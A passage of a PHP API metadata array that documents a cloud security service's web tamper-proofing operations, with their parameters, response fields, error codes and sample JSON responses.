'required' => false, 'example' => '1.2.3.4', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUID.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-1234567****', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The configuration ID of the protected directory.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1404656', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of directories that have web tamper proofing enabled on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', ], 'ConfigList' => [ 'description' => 'The configurations of web tamper proofing.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configuration of web tamper proofing.'."\n", 'type' => 'object', 'properties' => [ 'ExclusiveDir' => [ 'description' => 'The directory that has web tamper proofing disabled.'."\n" ."\n" .'> If the value of **Mode** is **blacklist**, this parameter is returned.'."\n", 'type' => 'string', 'example' => '/home/admin/tomcat', ], 'Uuid' => [ 'description' => 'The UUID of the server that has web tamper proofing enabled.'."\n", 'type' => 'string', 'example' => '80d2f7d6-31a9-4d7f-8ff4-7ecc42f8****', ], 'InclusiveFileType' => [ 'description' => 'The type of the file that has web tamper proofing enabled.'."\n" ."\n" .'> If the value of **Mode** is **whitelist**, this parameter is returned.'."\n", 'type' => 'string', 'example' => 'jpg', ], 'DefenceMode' => [ 'description' => 'The prevention mode. Valid values:'."\n" ."\n" .'* **block**: Interception Mode'."\n" .'* **audit**: Alert Mode'."\n", 'type' => 'string', 'example' => 'audit', ], 'ExclusiveFileType' => [ 'description' => 'The type of the file that has web tamper proofing disabled.'."\n" ."\n" .'> If the value of **Mode** is **blacklist**, this parameter is returned.'."\n", 'type' => 'string', 'example' => '*.jpg', ], 'InclusiveFile' => [ 'description' => 'The file that has web tamper proofing enabled.'."\n" ."\n" .'> If the value of **Mode** is **whitelist**, this parameter is returned.'."\n", 'type' => 'string', 'example' => '/home/admin/tomcat/aaa.log', ], 'Mode' => [ 'description' => 'The protection mode of web tamper proofing. Valid values:'."\n" ."\n" .'* **whitelist**: In this mode, web tamper proofing is enabled for the specified directories and file types.'."\n" .'* **blacklist**: In this mode, web tamper proofing is enabled for the unspecified subdirectories, file types, and files in the protected directory.'."\n", 'type' => 'string', 'example' => 'blacklist', ], 'Dir' => [ 'description' => 'The directory that has web tamper proofing enabled.'."\n", 'type' => 'string', 'example' => '/www/tmp/', ], 'ExclusiveFile' => [ 'description' => 'The file that has web tamper proofing disabled.'."\n" ."\n" .'> If the value of **Mode** is **blacklist**, this parameter is returned.'."\n", 'type' => 'string', 'example' => '/home/admin/tomcat/localhost.log', ], 'Id' => [ 'description' => 'The configuration ID of the protected directory.'."\n", 'type' => 'string', 'example' => '11', ], 'LocalBackupDir' => [ 'description' => 'The local path to the backup files of the protected directory.'."\n", 'type' => 'string', 'example' => '/usr/local/backup', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"TotalCount\\": 1,\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\",\\n \\"ConfigList\\": [\\n {\\n \\"ExclusiveDir\\": \\"/home/admin/tomcat\\",\\n \\"Uuid\\": \\"80d2f7d6-31a9-4d7f-8ff4-7ecc42f8****\\",\\n \\"InclusiveFileType\\": \\"jpg\\",\\n \\"DefenceMode\\": \\"audit\\",\\n \\"ExclusiveFileType\\": \\"*.jpg\\",\\n \\"InclusiveFile\\": \\"/home/admin/tomcat/aaa.log\\",\\n \\"Mode\\": \\"blacklist\\",\\n \\"Dir\\": \\"/www/tmp/\\",\\n \\"ExclusiveFile\\": \\"/home/admin/tomcat/localhost.log\\",\\n \\"Id\\": \\"11\\",\\n \\"LocalBackupDir\\": \\"/usr/local/backup\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n EB7BD248-FBD6-4378-B244-0C9FB299BCBC\\n \\n php;jsp;asp;aspx;js;cgi;html;htm;xml;shtml;shtm;jpg;gif;png\\n \\n 80d2f7d6-31a9-4d7f-8ff4-7ecc42f8****\\n \\n whitelist\\n /usr/local/aegis/bak\\n \\n 9312\\n /www/tmp/\\n \\n \\n","errorExample":""}]', 'title' => 'DescribeWebLockConfigList', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeWebLockBindList' => [ 'summary' => 'Queries the information about the servers that have web tamper proofing enabled.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92253', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '116.30.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and the response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The string that allows you to search for servers in fuzzy match mode. You can enter a server name or IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The protection status of the server that you want to query. Valid values:'."\n" ."\n" .'* **on**: protected'."\n" .'* **off**: unprotected'."\n", 'type' => 'string', 'required' => false, 'example' => 'on', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the asset that you want to query.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUID.'."\n", 'type' => 'string', 'required' => false, 'example' => '7151f27e-1d51-4e98-a540-8936a****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of servers that have web tamper proofing enabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11409', ], 'BindList' => [ 'description' => 'The information about the servers that have web tamper proofing enabled.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the servers that have web tamper proofing enabled.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The protection status of the server. Valid values:'."\n" ."\n" .'* **on**: The server is protected.'."\n" .'* **off**: The server is not protected.'."\n", 'type' => 'string', 'example' => 'on', ], 'Percent' => [ 'description' => 'The percentage of the starting progress of web tamper proofing. Valid values: 0 to 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '99', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '54.169.XX.XX', ], 'ServiceDetail' => [ 'description' => 'The exception details of web tamper proofing. Valid values:'."\n" ."\n" .'* **client offline**: The Security Center agent is offline.'."\n" .'* **timeout**: The connection timed out.'."\n", 'type' => 'string', 'example' => 'client offline', ], 'Os' => [ 'description' => 'The operating system that the server runs.'."\n", 'type' => 'string', 'example' => 'Linux', ], 'ServiceStatus' => [ 'description' => 'The status of web tamper proofing on the server. Valid values:'."\n" ."\n" .'* **stop**: Web tamper proofing is disabled.'."\n" .'* **initializing**: Web tamper proofing is being enabled.'."\n" .'* **exception**: Web tamper proofing is not running as expected.'."\n" .'* **running**: Web tamper proofing is running.'."\n" .'* **closing**: Web tamper proofing is being disabled.'."\n", 'type' => 'string', 'example' => 'stop', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'AuditCount' => [ 'description' => 'The number of alerts.'."\n", 'type' => 'string', 'example' => '2', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'inet-12345****', ], 'ServiceCode' => [ 'description' => 'The error code for web tamper proofing. Valid values:'."\n" ."\n" .'* **2001**: The Security Center agent is offline.'."\n" .'* **9999**: The connection timed out.'."\n", 'type' => 'string', 'example' => '2001', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'testName', ], 'DirCount' => [ 'description' => 'The number of protected directories.'."\n", 'type' => 'string', 'example' => '5', ], 'BlockCount' => [ 'description' => 'The number of blocked tampering events.'."\n", 'type' => 'string', 'example' => '10', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 11409,\\n \\"BindList\\": [\\n {\\n \\"Status\\": \\"on\\",\\n \\"Percent\\": 99,\\n \\"InternetIp\\": \\"54.169.XX.XX\\",\\n \\"ServiceDetail\\": \\"client offline\\",\\n \\"Os\\": \\"Linux\\",\\n \\"ServiceStatus\\": \\"stop\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"AuditCount\\": \\"2\\",\\n \\"Uuid\\": \\"inet-12345****\\",\\n \\"ServiceCode\\": \\"2001\\",\\n \\"InstanceName\\": \\"testName\\",\\n \\"DirCount\\": \\"5\\",\\n \\"BlockCount\\": \\"10\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebLockBindList', ], 'ModifyWebLockStatus' => [ 'summary' => 'Enables or disables web tamper proofing for a server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '125.71.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server for which you want to enable or disable web tamper proofing. You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-1234567****', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable or disable web tamper proofing for the specified server. Valid values:'."\n" ."\n" .'* **on**: enables web tamper proofing'."\n" .'* **off**: disables web tamper proofing'."\n" ."\n" .'> After you disable web tamper proofing for the specified server, one quota is released.'."\n", 'type' => 'string', 'required' => true, 'example' => 'on', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NeedBuy', 'errorMessage' => 'This service should be purchased first.', ], [ 'errorCode' => 'DefenceEmptyConfig', 'errorMessage' => 'At least one protection directory is needed.', ], [ 'errorCode' => 'DefenceAuthLimit', 'errorMessage' => 'The number of machines has reached the upper limit.', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\"\\n}","type":"json"}]', 'title' => 'ModifyWebLockStatus', ], 'ModifyWebLockUnbind' => [ 'summary' => 'Disables web tamper proofing for a specified server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server for which you want to disable web tamper proofing.'."\n" ."\n" .'> You can call the [DescribeWebLockBindList](~~DescribeWebLockBindList~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '8d217d3f-6999-43a6-a435-c7a6854180e9', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F0A8A039-930D-5EC1-97C8-43F05776188A', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidBind', 'errorMessage' => 'Asset not bind.', ], [ 'errorCode' => 'StillOn', 'errorMessage' => 'Still switched on.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F0A8A039-930D-5EC1-97C8-43F05776188A\\"\\n}","type":"json"}]', 'title' => 'ModifyWebLockUnbind', ], 'OperateWebLockFileEvents' => [ 'summary' => 'Handles alert events that are generated for web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92419', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'DealAll', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to handle all alert events that are generated for web tamper proofing. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'OperationCode', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform on the alert events. Valid values:'."\n" ."\n" .'* **mark_mis_info**: marks the alert events as false positives'."\n" .'* **rm_mark_mis_info**: cancels marking the alerts events as false positives'."\n" .'* **offline_handled**: marks the alert events as handled offline'."\n" .'* **whitelist**: adds the alert events to the whitelist'."\n" .'* **rm_whitelist**: cancels adding the alert events to the whitelist'."\n", 'type' => 'string', 'required' => true, 'example' => 'whitelist', ], ], [ 'name' => 'EventIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the alert event.'."\n" ."\n" .'> You can call the [DescribeWebLockFileEvents](~~DescribeWebLockFileEvents~~) operation to query the IDs of alert events.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2663238081', ], 'required' => true, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '2884C186-E8C0-5611-8207-3FF15EE7D9B4', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2884C186-E8C0-5611-8207-3FF15EE7D9B4\\"\\n}","type":"json"}]', 'title' => 'OperateWebLockFileEvents', ], 'ModifyWebLockProcessStatus' => [ 'summary' => 'Changes the status of processes for web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92402', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'OperateInfo', 'in' => 'query', 'schema' => [ 'description' => 'The parameters required to change the status of multiple processes at a time. The value is in the JSON format.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"processPath":"/etc/test1","uuid":"0c1714dc-f7a3-4265-8364-7aa3fce8****"},{"processPath":"/etc/test2","uuid":"1cc45e7d-7698-4b2c-89d8-e8cba407****"}]', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'bc8510e7-7327-4030-b75c-956e434d****', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the process. Valid values:'."\n" ."\n" .'* **0**: cancels adding the process to the process whitelist'."\n" .'* **1**: adds the process to the process whitelist'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'DealAll', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to change the status of the process on multiple servers on which the process runs at the same time. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ProcessPath', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The paths to the processes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the process.'."\n", 'type' => 'string', 'required' => false, 'example' => '/test', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6A540B52-2441-5493-902B-37376C412776', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6A540B52-2441-5493-902B-37376C412776\\"\\n}","type":"json"}]', 'title' => 'ModifyWebLockProcessStatus', ], 'JoinWebLockProcessWhiteList' => [ 'summary' => 'Adds processes to the process whitelist of web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers on which the processes run. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '0c1714dc-f7a3-4265-8364-7aa3fce8****,1cc45e7d-7698-4b2c-89d8-e8cba407****', ], ], [ 'name' => 'ProcessPaths', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The paths of the processes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => '/etc/mydata', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A47D621A-193E-5BDA-ADFA-A0D3133E199C', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A47D621A-193E-5BDA-ADFA-A0D3133E199C\\"\\n}","type":"json"}]', 'title' => 'JoinWebLockProcessWhiteList', ], 'DescribeWebLockTotalFileChangeCount' => [ 'summary' => 'Queries the number of times that the files protected by web tamper proofing are changed.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The number of times that the files protected by web tamper proofing are changed.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '200', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'E70074C8-DFB4-44C5-96C7-909DD231D68A', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 200,\\n \\"RequestId\\": \\"E70074C8-DFB4-44C5-96C7-909DD231D68A\\"\\n}","type":"json"}]', 'title' => 'DescribeWebLockTotalFileChangeCount', ], 'DescribeWebLockProcessList' => [ 'summary' => 'Queries the processes for web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], ], 'parameters' => [ [ 'name' => 'ProcessName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cron', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the process is added to the process whitelist. Valid values:'."\n" ."\n" .'* **1**: The process is added to the process whitelist.'."\n" .'* **0**: The process is not added to the process whitelist.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of processes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'List' => [ 'description' => 'An array that consists of details about the process.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the process.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'Indicates whether the process is added to the process whitelist. Valid values:'."\n" ."\n" .'* **1**: The process is added to the process whitelist.'."\n" .'* **0**: The process is not added to the process whitelist.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ProcessName' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'example' => 'cron', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'test_ecs', ], 'ProcessPath' => [ 'description' => 'The path to the process.'."\n", 'type' => 'string', 'example' => '/usr/sbin/cron', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'string', 'example' => '33', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 200,\\n \\"List\\": [\\n {\\n \\"Status\\": 0,\\n \\"ProcessName\\": \\"cron\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"InstanceName\\": \\"test_ecs\\",\\n \\"ProcessPath\\": \\"/usr/sbin/cron\\",\\n \\"Count\\": \\"33\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebLockProcessList', ], 'DescribeWebLockProcessBlockStatistics' => [ 'summary' => 'Queries the statistics on processes for web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], 'PageSize' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of processes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'List' => [ 'description' => 'An array consisting of the statistics on processes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistics on the process.'."\n", 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The number of processes that are returned on the current page.'."\n", 'type' => 